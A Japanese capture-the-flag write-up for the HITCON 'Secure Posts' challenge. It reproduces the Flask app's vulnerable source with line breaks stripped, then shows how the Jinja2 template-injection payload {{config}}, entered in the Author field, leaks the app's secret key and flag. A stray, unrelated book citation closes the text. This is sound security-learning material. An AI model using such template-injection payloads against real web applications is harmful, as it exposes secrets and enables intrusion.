問題で提示されたURLにアクセスします。次のようなページが表示されます。Secure Posts
117 Teams solved.
Description
Here is a service that you can store any posts. Can you hack it?
http://52.69.126.212/
Hint
None

ページ内にあるsource codeのリンクからPythonのソースコードを見ることができます。Flaskというフレームワークを使用したウェブアプリケーションです。
Authorに入力した内容がsession変数に格納され、render_template関数でrender_template_string関数にそのまま渡されています。Flask Jinja2 Template Injectionというものが使えそうです。from flask import Flaskimport config# init appapp = Flask(__name__)app.secret_key = config.flag1accept_datatype = ['json', 'yaml']from flask import Responsefrom flask import request, sessionfrom flask import redirect, url_for, safe_join, abortfrom flask import render_template_string# load utilsdef load_eval(data):return eval(data)def load_pickle(data):import picklereturn pickle.loads(data)def load_json(data):import jsonreturn json.loads(data)def load_yaml(data):import yamlreturn yaml.load(data)# dump utilsdef dump_eval(data):return repr(data)def dump_pickle(data):import picklereturn pickle.dumps(data)def dump_json(data):import jsonreturn json.dumps(data)def dump_yaml(data):import yamlreturn yaml.dump(data)def render_template(filename, **args):with open(safe_join(app.template_folder, filename)) as f:template = f.read()name = session.get('name', 'anonymous')[:10]return render_template_string(template.format(name=name), **args)def load_posts():handlers = {# disabled insecure data type#"eval": load_eval,#"pickle": load_pickle,"json": load_json,"yaml": load_yaml}datatype = session.get("post_type", config.default_datatype)data = session.get("post_data", config.default_data)if datatype not in handlers: abort(403)return handlers[datatype](data)def store_posts(posts, datatype):handlers = {"eval": dump_eval,"pickle": dump_pickle,"json": dump_json,"yaml": dump_yaml}if datatype not in handlers: abort(403)data = handlers[datatype](posts)session["post_type"] = datatypesession["post_data"] = data@app.route('/')def index():posts = load_posts()return render_template('index.html', posts = posts, accept_datatype = accept_datatype)@app.route('/post', methods=['POST'])def add_post():posts = load_posts()title = request.form.get('title', 'empty')content = request.form.get('content', 'empty')datatype = request.form.get('datatype', 'json')if datatype not in accept_datatype: abort(403)name = request.form.get('author', 'anonymous')[:10]from datetime import datetimeposts.append({'title': title,'author': name,'content': content,'date': datetime.now().strftime("%B %d, %Y %X")})session["name"] = namestore_posts(posts, datatype)return redirect(url_for('index'))@app.route('/source')def get_source():with open(__file__, "r") as f:resp = f.read()return Response(resp, mimetype="text/plain")
https://hackerone.com/reports/125980
Authorに以下の文字列を入力してsubmitします。
{{config}}

次のとおりconfigの内容が表示されました。

<Config {'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_REFRESH_EACH_REQUEST': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': '__main__', 'PREFERRED_URL_SCHEME': 'http', 'PROPAGATE_EXCEPTIONS': None, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_SECURE': False, 'SERVER_NAME': None, 'SESSION_COOKIE_DOMAIN': None, 'TEMPLATES_AUTO_RELOAD': None, 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': True, 'DEBUG': False, 'SESSION_COOKIE_PATH': None, 'TESTING': False, 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_NAME': 'session', 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'TRAP_HTTP_EXCEPTIONS': False, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_BAD_REQUEST_ERRORS': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31)}>フラグは、
hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}です。
Miguel Grinberg
O'Reilly Media
2014-04-28